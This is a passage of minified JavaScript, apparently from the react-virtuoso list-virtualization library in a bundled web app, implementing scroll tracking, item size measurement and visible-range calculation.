n}([].concat(r,o,a),h),p):p)})),usePublisher:function(e){return Object(l.useCallback)(zZ(QZ,Object(l.useContext)(s)[e]),[e])},useEmitterValue:function(e){var t=Object(l.useContext)(s)[e],n=Object(l.useState)(UZ(eY,t)),r=n[0],o=n[1];return _Y((function(){return XZ(t,(function(e){e!==r&&o(YZ(e))}))}),[t,r]),r},useEmitter:function(e,t){var n=Object(l.useContext)(s)[e];_Y((function(){return XZ(n,t)}),[t,n])}}}function kY(){return(kY=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e}).apply(this,arguments)}function PY(e,t){if(null==e)return{};var n,r,o={},i=Object.keys(e);for(r=0;r<i.length;r++)t.indexOf(n=i[r])>=0||(o[n]=e[n]);return o}function MY(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}function RY(e,t){var n="undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(n)return(n=n.call(e)).next.bind(n);if(Array.isArray(e)||(n=function(e,t){if(e){if("string"==typeof e)return MY(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);return"Object"===n&&e.constructor&&(n=e.constructor.name),"Map"===n||"Set"===n?Array.from(e):"Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)?MY(e,t):void 0}}(e))||t&&e&&"number"==typeof e.length){n&&(e=n);var r=0;return function(){return r>=e.length?{done:!0}:{done:!1,value:e[r++]}}}throw new TypeError("Invalid attempt to iterate non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}var jY,LY,IY,NY="undefined"!=typeof document?l.useLayoutEffect:l.useEffect;(IY=LY||(LY={}))[IY.DEBUG=0]="DEBUG",IY[IY.INFO=1]="INFO",IY[IY.WARN=2]="WARN",IY[IY.ERROR=3]="ERROR";var DY=((jY={})[LY.DEBUG]="debug",jY[LY.INFO]="log",jY[LY.WARN]="warn",jY[LY.ERROR]="error",jY),FY=SY((function(){var e=oY(LY.ERROR);return{log:oY((function(t,n,r){var o;void 0===r&&(r=LY.INFO),r>=(null!=(o=("undefined"==typeof globalThis?window:globalThis).VIRTUOSO_LOG_LEVEL)?o:eY(e))&&console[DY[r]]("%creact-virtuoso: %c%s %o","color: #0253b3; font-weight: bold","color: initial",t,n)})),logLevel:e}}),[],{singleton:!0});function BY(e,t){void 0===t&&(t=!0);var n=Object(l.useRef)(null),r=function(e){};if("undefined"!=typeof ResizeObserver){var o=new ResizeObserver((function(t){var n=t[0].target;null!==n.offsetParent&&e(n)}));r=function(e){e&&t?(o.observe(e),n.current=e):(n.current&&o.unobserve(n.current),n.current=null)}}return{ref:n,callbackRef:r}}function HY(e,t){return void 0===t&&(t=!0),BY(e,t).callbackRef}function VY(e,t,n,r,o,i){return BY((function(n){for(var a=function(e,t,n,r){var o=e.length;if(0===o)return null;for(var i=[],a=0;a<o;a++){var l=e.item(a);if(l&&void 0!==l.dataset.index){var s=parseInt(l.dataset.index),u=parseFloat(l.dataset.knownSize),c=t(l,"offsetHeight");if(0===c&&r("Zero-sized element, this should not happen",{child:l},LY.ERROR),c!==u){var f=i[i.length-1];0===i.length||f.size!==c||f.endIndex!==s-1?i.push({startIndex:s,endIndex:s,size:c}):i[i.length-1].endIndex++}}}return i}(n.children,t,0,o),l=n.parentElement;!l.dataset.virtuosoScroller;)l=l.parentElement;var s=i?i.scrollTop:"window"===l.firstElementChild.dataset.viewportType?window.pageYOffset||document.documentElement.scrollTop:l.scrollTop;r({scrollTop:Math.max(s,0),scrollHeight:(null!=i?i:l).scrollHeight,viewportHeight:(null!=i?i:l).offsetHeight}),null!==a&&e(a)}),n)}function zY(e,t){return Math.round(e.getBoundingClientRect()[t])}function UY(e,t,n,r,o){void 0===r&&(r=KZ);var i=Object(l.useRef)(null),a=Object(l.useRef)(null),s=Object(l.useRef)(null),u=Object(l.useCallback)((function(n){var r=n.target,o=r===window||r===document?window.pageYOffset||document.documentElement.scrollTop:r.scrollTop,i=r===window?document.documentElement.scrollHeight:r.scrollHeight,l=r===window?window.innerHeight:r.offsetHeight;e({scrollTop:Math.max(o,0),scrollHeight:i,viewportHeight:l}),null!==a.current&&(o===a.current||o<=0||o===r.scrollHeight-zY(r,"height"))&&(a.current=null,t(!0),s.current&&(clearTimeout(s.current),s.current=null))}),[e,t]);return Object(l.useEffect)((function(){var e=o||i.current;return r(o||i.current),u({target:e}),e.addEventListener("scroll",u,{passive:!0}),function(){r(null),e.removeEventListener("scroll",u)}}),[i,u,n,r,o]),{scrollerRef:i,scrollByCallback:function(e){i.current.scrollBy(e)},scrollToCallback:function(n){var r=i.current;if(r&&(!("offsetHeight"in r)||0!==r.offsetHeight)){var o,l,u,c="smooth"===n.behavior;if(r===window?(l=Math.max(zY(document.documentElement,"height"),document.documentElement.scrollHeight),o=window.innerHeight,u=document.documentElement.scrollTop):(l=r.scrollHeight,o=zY(r,"height"),u=r.scrollTop),n.top=Math.ceil(Math.max(Math.min(l-o,n.top),0)),Math.abs(o-l)<1.01||n.top===u)return e({scrollTop:u,scrollHeight:l,viewportHeight:o}),void(c&&t(!0));c?(a.current=n.top,s.current&&clearTimeout(s.current),s.current=setTimeout((function(){s.current=null,a.current=null,t(!0)}),1e3)):a.current=null,r.scrollTo(n)}}}}var GY=SY((function(){var e=rY(),t=rY(),n=oY(0),r=rY(),o=oY(0),i=rY(),a=rY(),l=oY(0),s=oY(0),u=rY(),c=rY(),f=oY(!1),d=oY(!1);return tY(sY(e,dY((function(e){return e.scrollTop}))),t),tY(sY(e,dY((function(e){return e.scrollHeight}))),a),tY(t,o),{scrollContainerState:e,scrollTop:t,viewportHeight:i,headerHeight:l,footerHeight:s,scrollHeight:a,smoothScrollTargetReached:r,react18ConcurrentRendering:d,scrollTo:u,scrollBy:c,statefulScrollTop:o,deviation:n,scrollingInProgress:f}}),[],{singleton:!0}),WY={lvl:0};function qY(e,t,n,r,o){return void 0===r&&(r=WY),void 0===o&&(o=WY),{k:e,v:t,lvl:n,l:r,r:o}}function ZY(e){return e===WY}function YY(){return WY}function $Y(e,t){if(ZY(e))return WY;var n=e.k,r=e.l,o=e.r;if(t===n){if(ZY(r))return o;if(ZY(o))return r;var i=function e(t){return ZY(t.r)?[t.k,t.v]:e(t.r)}(r);return n$(e$(e,{k:i[0],v:i[1],l:JY(r)}))}return n$(e$(e,t<n?{l:$Y(r,t)}:{r:$Y(o,t)}))}function KY(e,t,n){if(void 0===n&&(n="k"),ZY(e))return[-1/0,void 0];if(e[n]===t)return[e.k,e.v];if(e[n]<t){var r=KY(e.r,t,n);return-1/0===r[0]?[e.k,e.v]:r}return KY(e.l,t,n)}function XY(e,t,n){return ZY(e)?qY(t,n,1):t===e.k?e$(e,{k:t,v:n}):function(e){return i$(a$(e))}(e$(e,t<e.k?{l:XY(e.l,t,n)}:{r:XY(e.r,t,n)}))}function QY(e){return ZY(e)?[]:[].concat(QY(e.l),[{k:e.k,v:e.v}],QY(e.r))}function JY(e){return ZY(e.r)?e.l:n$(e$(e,{r:JY(e.r)}))}function e$(e,t){return qY(void 0!==t.k?t.k:e.k,void 0!==t.v?t.v:e.v,void 0!==t.lvl?t.lvl:e.lvl,void 0!==t.l?t.l:e.l,void 0!==t.r?t.r:e.r)}function t$(e){return ZY(e)||e.lvl>e.r.lvl}function n$(e){var t=e.l,n=e.r,r=e.lvl;if(n.lvl>=r-1&&t.lvl>=r-1)return e;if(r>n.lvl+1){if(t$(t))return a$(e$(e,{lvl:r-1}));if(ZY(t)||ZY(t.r))throw new Error("Unexpected empty nodes");return e$(t.r,{l:e$(t,{r:t.r.l}),r:e$(e,{l:t.r.r,lvl:r-1}),lvl:r})}if(t$(e))return i$(e$(e,{lvl:r-1}));if(ZY(n)||ZY(n.l))throw new Error("Unexpected empty nodes");var o=n.l,i=t$(o)?n.lvl-1:n.lvl;return e$(o,{l:e$(e,{r:o.l,lvl:r-1}),r:i$(e$(n,{l:o.r,lvl:i})),lvl:o.lvl+1})}function r$(e,t,n){return ZY(e)?[]:o$(function e(t,n,r){if(ZY(t))return[];var o=t.k,i=t.v,a=t.r,l=[];return o>n&&(l=l.concat(e(t.l,n,r))),o>=n&&o<=r&&l.push({k:o,v:i}),o<=r&&(l=l.concat(e(a,n,r))),l}(e,KY(e,t)[0],n),(function(e){return{index:e.k,value:e.v}}))}function o$(e,t){var n=e.length;if(0===n)return[];for(var r=t(e[0]),o=r.index,i=r.value,a=[],l=1;l<n;l++){var s=t(e[l]),u=s.index,c=s.value;a.push({start:o,end:u-1,value:i}),o=u,i=c}return a.push({start:o,end:1/0,value:i}),a}function i$(e){var t=e.r,n=e.lvl;return ZY(t)||ZY(t.r)||t.lvl!==n||t.r.lvl!==n?e:e$(t,{l:e$(e,{r:t.l}),lvl:n+1})}function a$(e){var t=e.l;return ZY(t)||t.lvl!==e.lvl?e:e$(t,{r:e$(e,{l:t.r})})}function l$(e,t,n,r){void 0===r&&(r=0);for(var o=e.length-1;r<=o;){var i=Math.floor((r+o)/2),a=n(e[i],t);if(0===a)return i;if(-1===a){if(o-r<2)return i-1;o=i-1}else{if(o===r)return i;r=i+1}}throw new Error("Failed binary finding record in array - "+e.join(",")+", searched for "+t)}function s$(e,t,n){return e[l$(e,t,n)]}function u$(e){var t=e.size,n=e.startIndex,r=e.endIndex;return function(e){return e.start===n&&(e.end===r||1/0===e.end)&&e.value===t}}function c$(e,t){var n=e.index;return t===n?0:t<n?-1:1}function f$(e,t){var n=e.offset;return t===n?0:t<n?-1:1}function d$(e){return{index:e.index,value:e}}function p$(e,t,n){var r=e,o=0,i=0,a=0,l=0;if(0!==t){a=r[l=l$(r,t-1,c$)].offset;var s=KY(n,t-1);o=s[0],i=s[1],r.length&&r[l].size===KY(n,t)[1]&&(l-=1),r=r.slice(0,l+1)}else r=[];for(var u,c=RY(r$(n,t,1/0));!(u=c()).done;){var f=u.value,d=f.start,p=f.value,h=(d-o)*i+a;r.push({offset:h,size:p,index:d}),o=d,a=h,i=p}return{offsetTree:r,lastIndex:o,lastOffset:a,lastSize:i}}function h$(e,t){var n=t[0],r=t[1];n.length>0&&(0,t[2])("received item sizes",n,LY.DEBUG);var o=e.sizeTree,i=o,a=0;if(r.length>0&&ZY(o)&&2===n.length){var l=n[0].size,s=n[1].size;i=r.reduce((function(e,t){return XY(XY(e,t,l),t+1,s)}),i)}else{var u=function(e,t){for(var n,r=ZY(e)?0:1/0,o=RY(t);!(n=o()).done;){var i=n.value,a=i.size,l=i.startIndex,s=i.endIndex;if(r=Math.min(r,l),ZY(e))e=XY(e,0,a);else{var u=r$(e,l-1,s+1);if(!u.some(u$(i))){for(var c,f=!1,d=!1,p=RY(u);!(c=p()).done;){var h=c.value,m=h.start,g=h.end,v=h.value;f?(s>=m||a===v)&&(e=$Y(e,m)):(d=v!==a,f=!0),g>s&&s>=m&&v!==a&&(e=XY(e,s+1,v))}d&&(e=XY(e,l,a))}}}return[e,r]}(i,n);i=u[0],a=u[1]}if(i===o)return e;var c=p$(e.offsetTree,a,i),f=c.offsetTree;return{sizeTree:i,offsetTree:f,lastIndex:c.lastIndex,lastOffset:c.lastOffset,lastSize:c.lastSize,groupOffsetTree:r.reduce((function(e,t){return XY(e,t,m$(t,f))}),YY()),groupIndices:r}}function m$(e,t){if(0===t.length)return 0;var n=s$(t,e,c$);return n.size*(e-n.index)+n.offset}function g$(e,t){if(!v$(t))return e;for(var n=0;t.groupIndices[n]<=e+n;)n++;return e+n}function v$(e){return!ZY(e.groupOffsetTree)}var y$={offsetHeight:"height",offsetWidth:"width"},b$=SY((function(e){var t=e[0].log,n=rY(),r=rY(),o=aY(r,0),i=rY(),a=rY(),l=oY(0),s=oY([]),u=oY(void 0),c=oY(void 0),f=oY((function(e,t){return zY(e,y$[t])})),d=oY(void 0),p={offsetTree:[],sizeTree:YY(),groupOffsetTree:YY(),lastIndex:0,lastOffset:0,lastSize:0,groupIndices:[]},h=aY(sY(n,yY(s,t),hY(h$,p),cY()),p);tY(sY(s,fY((function(e){return e.length>0})),yY(h),dY((function(e){var t=e[0],n=e[1],r=t.reduce((function(e,t,r){return XY(e,t,m$(t,n.offsetTree)||r)}),YY());return kY({},n,{groupIndices:t,groupOffsetTree:r})}))),h),tY(sY(r,yY(h),fY((function(e){return e[0]<e[1].lastIndex})),dY((function(e){var t=e[1];return[{startIndex:e[0],endIndex:t.lastIndex,size:t.lastSize}]}))),n),tY(u,c);var m=aY(sY(u,dY((function(e){return void 0===e}))),!0);tY(sY(c,fY((function(e){return void 0!==e&&ZY(eY(h).sizeTree)})),dY((function(e){return[{startIndex:0,endIndex:0,size:e}]}))),n);var g=iY(sY(n,yY(h),hY((function(e,t){var n=t[1];return{changed:n!==e.sizes,sizes:n}}),{changed:!1,sizes:p}),dY((function(e){return e.changed}))));XZ(sY(l,hY((function(e,t){return{diff:e.prev-t,prev:t}}),{diff:0,prev:0}),dY((function(e){return e.diff}))),(function(e){e>0?QZ(i,e):e<0&&QZ(a,e)})),XZ(sY(l,yY(t)),(function(e){e[0]<0&&(0,e[1])("`firstItemIndex` prop should not be set to less than zero. If you don't know the total count, just use a very high value",{firstItemIndex:l},LY.ERROR)}));var v=iY(i);tY(sY(i,yY(h),dY((function(e){var t=e[0],n=e[1];if(n.groupIndices.length>0)throw new Error("Virtuoso: prepending items does not work with groups");return QY(n.sizeTree).reduce((function(e,n){var r=n.k,o=n.v;return{ranges:[].concat(e.ranges,[{startIndex:e.prevIndex,endIndex:r+t-1,size:e.prevSize}]),prevIndex:r+t,prevSize:o}}),{ranges:[],prevIndex:0,prevSize:n.lastSize}).ranges}))),n);var y=iY(sY(a,yY(h),dY((function(e){return m$(-e[0],e[1].offsetTree)}))));return tY(sY(a,yY(h),dY((function(e){var t=e[0],n=e[1];if(n.groupIndices.length>0)throw new Error("Virtuoso: shifting items does not work with groups");var r=QY(n.sizeTree).reduce((function(e,n){var r=n.v;return XY(e,Math.max(0,n.k+t),r)}),YY());return kY({},n,{sizeTree:r},p$(n.offsetTree,0,r))}))),h),{data:d,totalCount:r,sizeRanges:n,groupIndices:s,defaultItemSize:c,fixedItemSize:u,unshiftWith:i,shiftWith:a,shiftWithOffset:y,beforeUnshiftWith:v,firstItemIndex:l,sizes:h,listRefresh:g,statefulTotalCount:o,trackItemSizes:m,itemSize:f}}),qZ(FY),{singleton:!0}),w$="undefined"!=typeof document&&"scrollBehavior"in document.documentElement.style;function E$(e){var t="number"==typeof e?{index:e}:e;return t.align||(t.align="start"),t.behavior&&w$||(t.behavior="auto"),t.offset||(t.offset=0),t}var S$=SY((function(e){var t=e[0],n=t.sizes,r=t.totalCount,o=t.listRefresh,i=e[1],a=i.scrollingInProgress,l=i.viewportHeight,s=i.scrollTo,u=i.smoothScrollTargetReached,c=i.headerHeight,f=i.footerHeight,d=e[2].log,p=rY(),h=oY(0),m=null,g=null,v=null;function y(){m&&(m(),m=null),v&&(v(),v=null),g&&(clearTimeout(g),g=null),QZ(a,!1)}return tY(sY(p,yY(n,l,r,h,c,f,d),dY((function(e){var t=e[0],n=e[1],r=e[2],i=e[3],l=e[4],s=e[5],c=e[6],f=e[7],d=E$(t),h=d.align,b=d.behavior,w=d.offset,E=i-1,S=d.index;"LAST"===S&&(S=E),S=g$(S,n);var C=m$(S=Math.max(0,S,Math.min(E,S)),n.offsetTree)+s;"end"===h?(C=C-r+KY(n.sizeTree,S)[1],S===E&&(C+=c)):"center"===h?C=C-r/2+KY(n.sizeTree,S)[1]/2:C-=l,w&&(C+=w);var x=function(e){y(),e?(f("retrying to scroll to",{location:t},LY.DEBUG),QZ(p,t)):f("list did not change, scroll successful",{},LY.DEBUG)};if(y(),"smooth"===b){var O=!1;v=XZ(o,(function(e){O=O||e})),m=nY(u,(function(){x(O)}))}else m=nY(sY(o,(function(e){var t=setTimeout((function(){e(!1)}),50);return function(n){n&&(e(!0),clearTimeout(t))}})),x);return g=setTimeout((function(){y()}),1200),QZ(a,!0),f("scrolling from index to",{index:S,top:C,behavior:b},LY.DEBUG),{top:C,behavior:b}}))),s),{scrollToIndex:p,topListHeight:h}}),qZ(b$,GY,FY),{singleton:!0}),C$="up",x$={atBottom:!1,notAtBottomBecause:"NOT_SHOWING_LAST_ITEM",state:{offsetBottom:0,scrollTop:0,viewportHeight:0,scrollHeight:0}},O$=SY((function(e){var t=e[0],n=t.scrollContainerState,r=t.scrollTop,o=t.viewportHeight,i=t.headerHeight,a=t.footerHeight,l=t.scrollBy,s=oY(!1),u=oY(!0),c=rY(),f=rY(),d=oY(4),p=oY(0),h=iY(sY(bY(sY(wY(r),mY(1),pY(!0)),sY(wY(r),mY(1),pY(!1),vY(100))),cY())),m=aY(sY(bY(sY(l,pY(!0)),sY(l,pY(!1),vY(200))),cY()),!1);tY(sY(EY(wY(r),wY(p)),dY((function(e){return e[0]<=e[1]})),cY()),u),tY(sY(u,gY(50)),f);var g=iY(sY(EY(n,wY(o),wY(i),wY(a),wY(d)),hY((function(e,t){var n,r,o=t[0],i=o.scrollTop,a=o.scrollHeight,l=t[1],s={viewportHeight:l,scrollTop:i,scrollHeight:a};return i+l-a>-t[4]?(i>e.state.scrollTop?(n="SCROLLED_DOWN",r=e.state.scrollTop-i):(n="SIZE_DECREASED",r=e.state.scrollTop-i||e.scrollTopDelta),{atBottom:!0,state:s,atBottomBecause:n,scrollTopDelta:r}):{atBottom:!1,notAtBottomBecause:s.scrollHeight>e.state.scrollHeight?"SIZE_INCREASED":l<e.state.viewportHeight?"VIEWPORT_HEIGHT_DECREASING":i<e.state.scrollTop?"SCROLLING_UPWARDS":"NOT_FULLY_SCROLLED_TO_LAST_ITEM_BOTTOM",state:s}}),x$),cY((function(e,t){return e&&e.atBottom===t.atBottom})))),v=aY(sY(n,hY((function(e,t){var n=t.scrollTop,r=t.scrollHeight;return e.scrollHeight!==r?e.scrollTop!==n&&n===r-t.viewportHeight?{scrollHeight:r,scrollTop:n,jump:e.scrollTop-n,changed:!0}:{scrollHeight:r,scrollTop:n,jump:0,changed:!0}:{scrollTop:n,scrollHeight:r,jump:0,changed:!1}}),{scrollHeight:0,jump:0,scrollTop:0,changed:!1}),fY((function(e){return e.changed})),dY((function(e){return e.jump}))),0);tY(sY(g,dY((function(e){return e.atBottom}))),s),tY(sY(s,gY(50)),c);var y=oY("down");tY(sY(n,dY((function(e){return e.scrollTop})),cY(),hY((function(e,t){return eY(m)?{direction:e.direction,prevScrollTop:t}:{direction:t<e.prevScrollTop?C$:"down",prevScrollTop:t}}),{direction:"down",prevScrollTop:0}),dY((function(e){return e.direction}))),y),tY(sY(n,gY(50),pY("none")),y);var b=oY(0);return tY(sY(h,fY((function(e){return!e})),pY(0)),b),tY(sY(r,gY(100),yY(h),fY((function(e){return!!e[1]})),hY((function(e,t){return[e[1],t[0]]}),[0,0]),dY((function(e){return e[1]-e[0]}))),b),{isScrolling:h,isAtTop:u,isAtBottom:s,atBottomState:g,atTopStateChange:f,atBottomStateChange:c,scrollDirection:y,atBottomThreshold:d,atTopThreshold:p,scrollVelocity:b,lastJumpDueToItemResize:v}}),qZ(GY)),A$=SY((function(e){var t=e[0].log,n=oY(!1),r=iY(sY(n,fY((function(e){return e})),cY()));return XZ(n,(function(e){e&&eY(t)("props updated",{},LY.DEBUG)})),{propsReady:n,didMount:r}}),qZ(FY),{singleton:!0}),_$=SY((function(e){var t=e[0],n=t.sizes,r=t.listRefresh,o=t.defaultItemSize,i=e[1].scrollTop,a=e[2].scrollToIndex,l=e[3].didMount,s=oY(!0),u=oY(0);return tY(sY(l,yY(u),fY((function(e){return!!e[1]})),pY(!1)),s),XZ(sY(EY(r,l),yY(s,n,o),fY((function(e){var t=e[1],n=e[3];return e[0][1]&&(!ZY(e[2].sizeTree)||void 0!==n)&&!t})),yY(u)),(function(e){var t=e[1];setTimeout((function(){nY(i,(function(){QZ(s,!0)})),QZ(a,t)}))})),{scrolledToInitialItem:s,initialTopMostItemIndex:u}}),qZ(b$,GY,S$,A$),{singleton:!0});function T$(e){return!!e&&("smooth"===e?"smooth":"auto")}var k$=SY((function(e){var t=e[0],n=t.totalCount,r=t.listRefresh,o=e[1],i=o.isAtBottom,a=o.atBottomState,l=e[2].scrollToIndex,s=e[3].scrolledToInitialItem,u=e[4],c=u.propsReady,f=u.didMount,d=e[5].log,p=e[6].scrollingInProgress,h=oY(!1),m=null;function g(e){QZ(l,{index:"LAST",align:"end",behavior:e})}return XZ(sY(EY(sY(wY(n),mY(1)),f),yY(wY(h),i,s,p),dY((function(e){var t=e[0],n=t[0],r=t[1]&&e[3],o="auto";return r&&(o=function(e,t){return"function"==typeof e?T$(e(t)):t&&T$(e)}(e[1],e[2]||e[4]),r=r&&!!o),{totalCount:n,shouldFollow:r,followOutputBehavior:o}})),fY((function(e){return e.shouldFollow}))),(function(e){var t=e.totalCount,n=e.followOutputBehavior;m&&(m(),m=null),m=nY(r,(function(){eY(d)("following output to ",{totalCount:t},LY.DEBUG),g(n),m=null}))})),XZ(sY(EY(wY(h),n,c),fY((function(e){return e[0]&&e[2]})),hY((function(e,t){var n=t[1];return{refreshed:e.value===n,value:n}}),{refreshed:!1,value:0}),fY((function(e){return e.refreshed})),yY(h,n)),(function(e){var t=e[1],n=nY(a,(function(e){!t||e.atBottom||"SIZE_INCREASED"!==e.notAtBottomBecause||m||(eY(d)("scrolling to bottom due to increased size",{},LY.DEBUG),g("auto"))}));setTimeout(n,100)})),XZ(EY(wY(h),a),(function(e){var t=e[1];e[0]&&!t.atBottom&&"VIEWPORT_HEIGHT_DECREASING"===t.notAtBottomBecause&&g("auto")})),{followOutput:h}}),qZ(b$,O$,S$,_$,A$,FY,GY));function P$(e){return e.reduce((function(e,t){return e.groupIndices.push(e.totalCount),e.totalCount+=t+1,e}),{totalCount:0,groupIndices:[]})}var M$=SY((function(e){var t=e[0],n=t.totalCount,r=t.groupIndices,o=t.sizes,i=e[1],a=i.scrollTop,l=i.headerHeight,s=rY(),u=rY(),c=iY(sY(s,dY(P$)));return tY(sY(c,dY(GZ("totalCount"))),n),tY(sY(c,dY(GZ("groupIndices"))),r),tY(sY(EY(a,o,l),fY((function(e){return v$(e[1])})),dY((function(e){return KY(e[1].groupOffsetTree,Math.max(e[0]-e[2],0),"v")[0]})),cY(),dY((function(e){return[e]}))),u),{groupCounts:s,topItemsIndexes:u}}),qZ(b$,GY));function R$(e,t){return!(!e||e[0]!==t[0]||e[1]!==t[1])}function j$(e,t){return!(!e||e.startIndex!==t.startIndex||e.endIndex!==t.endIndex)}function L$(e,t,n){return"number"==typeof e?n===C$&&"top"===t||"down"===n&&"bottom"===t?e:0:n===C$?"top"===t?e.main:e.reverse:"bottom"===t?e.main:e.reverse}function I$(e,t){return"number"==typeof e?e:e[t]||0}var N$=SY((function(e){var t=e[0],n=t.scrollTop,r=t.viewportHeight,o=t.deviation,i=t.headerHeight,a=rY(),l=oY(0),s=oY(0),u=oY(0),c=oY(0);return{listBoundary:a,overscan:c,topListHeight:l,fixedHeaderHeight:s,increaseViewportBy:u,visibleRange:aY(sY(EY(wY(n),wY(r),wY(i),wY(a,R$),wY(c),wY(l),wY(s),wY(o),wY(u)),dY((function(e){var t=e[0],n=e[1],r=e[2],o=e[3],i=o[0],a=o[1],l=e[4],s=e[6],u=e[7],c=e[8],f=t-u,d=e[5]+s,p=Math.max(r-f,0),h="none",m=I$(c,"top"),g=I$(c,"bottom");return i-=u,a+=r+s,(i+=r+s)>t+d-m&&(h=C$),(a-=u)<t-p+n+g&&(h="down"),"none"!==h?[Math.max(f-r-L$(l,"top",h)-m,0),f-p-s+n+L$(l,"bottom",h)+g]:null})),fY((function(e){return null!=e})),cY(R$)),[0,0])}}),qZ(GY),{singleton:!0}),D$={items:[],topItems:[],offsetTop:0,offsetBottom:0,top:0,bottom:0,topListHeight:0,totalCount:0};function F$(e,t,n){if(0===e.length)return[];if(!v$(t))return e.map((function(e){return kY({},e,{index:e.index+n,originalIndex:e.index})}));for(var r,o=[],i=r$(t.groupOffsetTree,e[0].index,e[e.length-1].index),a=void 0,l=0,s=RY(e);!(r=s()).done;){var u=r.value;(!a||a.end<u.index)&&(a=i.shift(),l=t.groupIndices.indexOf(a.start)),o.push(kY({},u.index===a.start?{type:"group",index:l}:{index:u.index-(l+1)+n,groupIndex:l},{size:u.size,offset:u.offset,originalIndex:u.index,data:u.data}))}return o}function B$(e,t,n,r,o){var i=0,a=0;if(e.length>0){i=e[0].offset;var l=e[e.length-1];a=l.offset+l.size}var s=i,u=r.lastOffset+(n-r.lastIndex)*r.lastSize-a;return{items:F$(e,r,o),topItems:F$(t,r,o),topListHeight:t.reduce((function(e,t){return t.size+e}),0),offsetTop:i,offsetBottom:u,top:s,bottom:a,totalCount:n}}var H$,V$,z$,U$=SY((function(e){var t=e[0],n=t.sizes,r=t.totalCount,o=t.data,i=t.firstItemIndex,a=e[1],l=e[2],s=l.visibleRange,u=l.listBoundary,c=l.topListHeight,f=e[3],d=f.scrolledToInitialItem,p=f.initialTopMostItemIndex,h=e[4].topListHeight,m=e[5],g=e[6].didMount,v=oY([]),y=rY();tY(a.topItemsIndexes,v);var b=aY(sY(EY(g,wY(s),wY(r),wY(n),wY(p),d,wY(v),wY(i),o),fY((function(e){return e[0]})),dY((function(e){var t=e[1],n=t[0],r=t[1],o=e[2],i=e[4],a=e[5],l=e[6],s=e[7],u=e[8],c=e[3],f=c.sizeTree,d=c.offsetTree;if(0===o||0===n&&0===r)return D$;if(ZY(f))return B$(function(e,t,n){if(v$(t)){var r=g$(e,t);return[{index:KY(t.groupOffsetTree,r)[0],size:0,offset:0},{index:r,size:0,offset:0,data:n&&n[0]}]}return[{index:e,size:0,offset:0,data:n&&n[0]}]}(function(e,t){return"number"==typeof e?e:"LAST"===e.index?t-1:e.index}(i,o),c,u),[],o,c,s);var p=[];if(l.length>0)for(var h,m=l[0],g=l[l.length-1],v=0,y=RY(r$(f,m,g));!(h=y()).done;)for(var b=h.value,w=b.value,E=Math.max(b.start,m),S=Math.min(b.end,g),C=E;C<=S;C++)p.push({index:C,size:w,offset:v,data:u&&u[C]}),v+=w;if(!a)return B$([],p,o,c,s);var x=l.length>0?l[l.length-1]+1:0,O=function(e,t,n,r){return void 0===r&&(r=0),r>0&&(t=Math.max(t,s$(e,r,c$).offset)),o$((i=n,l=l$(o=e,t,a=f$),s=l$(o,i,a,l),o.slice(l,s+1)),d$);var o,i,a,l,s}(d,n,r,x);if(0===O.length)return null;var A=o-1;return B$(WZ([],(function(e){for(var t,o=RY(O);!(t=o()).done;){var i=t.value,a=i.value,l=a.offset,s=i.start,c=a.size;a.offset<n&&(l+=((s+=Math.floor((n-a.offset)/c))-i.start)*c),s<x&&(l+=(x-s)*c,s=x);for(var f=Math.min(i.end,A),d=s;d<=f&&!(l>=r);d++)e.push({index:d,size:c,offset:l,data:u&&u[d]}),l+=c}})),p,o,c,s)})),fY((function(e){return null!==e})),cY()),D$);return tY(sY(o,fY((function(e){return void 0!==e})),dY((function(e){return e.length}))),r),tY(sY(b,dY(GZ("topListHeight"))),h),tY(h,c),tY(sY(b,dY((function(e){return[e.top,e.bottom]}))),u),tY(sY(b,dY((function(e){return e.items}))),y),kY({listState:b,topItemsIndexes:v,endReached:iY(sY(b,fY((function(e){return e.items.length>0})),yY(r,o),fY((function(e){var t=e[0].items;return t[t.length-1].originalIndex===e[1]-1})),dY((function(e){return[e[1]-1,e[2]]})),cY(R$),dY((function(e){return e[0]})))),startReached:iY(sY(b,gY(200),fY((function(e){var t=e.items;return t.length>0&&t[0].originalIndex===e.topItems.length})),dY((function(e){return e.items[0].index})),cY())),rangeChanged:iY(sY(b,fY((function(e){return e.items.length>0})),dY((function(e){var t=e.items;return{startIndex:t[0].index,endIndex:t[t.length-1].index}})),cY(j$))),itemsRendered:y},m)}),qZ(b$,M$,N$,_$,S$,O$,A$),{singleton:!0}),G$=SY((function(e){var t=e[0],n=t.sizes,r=t.firstItemIndex,o=t.data,i=e[1].listState,a=e[2].didMount,l=oY(0);return tY(sY(a,yY(l),fY((function(e){return 0!==e[1]})),yY(n,r,o),dY((function(e){var t=e[0][1],n=e[1],r=e[2],o=e[3],i=void 0===o?[]:o,a=0;if(n.groupIndices.length>0)for(var l,s=RY(n.groupIndices);!((l=s()).done||l.value-a>=t);)a++;var u=t+a;return B$(Array.from({length:u}).map((function(e,t){return{index:t,size:0,offset:0,data:i[t]}})),[],u,n,r)}))),i),{initialItemCount:l}}),qZ(b$,U$,A$),{singleton:!0}),W$=SY((function(e){var t=e[0].scrollVelocity,n=oY(!1),r=rY(),o=oY(!1);return tY(sY(t,yY(o,n,r),fY((function(e){return!!e[1]})),dY((function(e){var t=e[0],n=e[1],r=e[2],o=e[3],i=n.enter;if(r){if((0,n.exit)(t,o))return!1}else if(i(t,o))return!0;return r})),cY()),n),XZ(sY(EY(n,t,r),yY(o)),(function(e){var t=e[0],n=e[1];return t[0]&&n&&n.change&&n.change(t[1],t[2])})),{isSeeking:n,scrollSeekConfiguration:o,scrollVelocity:t,scrollSeekRangeChanged:r}}),qZ(O$),{singleton:!0}),q$=SY((function(e){var t=e[0].topItemsIndexes,n=oY(0);return tY(sY(n,fY((function(e){return e>0})),dY((function(e){return Array.from({length:e}).map((function(e,t){return t}))}))),t),{topItemCount:n}}),qZ(U$)),Z$=SY((function(e){var t=e[0],n=t.footerHeight,r=t.headerHeight,o=e[1].listState,i=rY(),a=aY(sY(EY(n,r,o),dY((function(e){var t=e[2];return e[0]+e[1]+t.offsetBottom+t.bottom}))),0);return 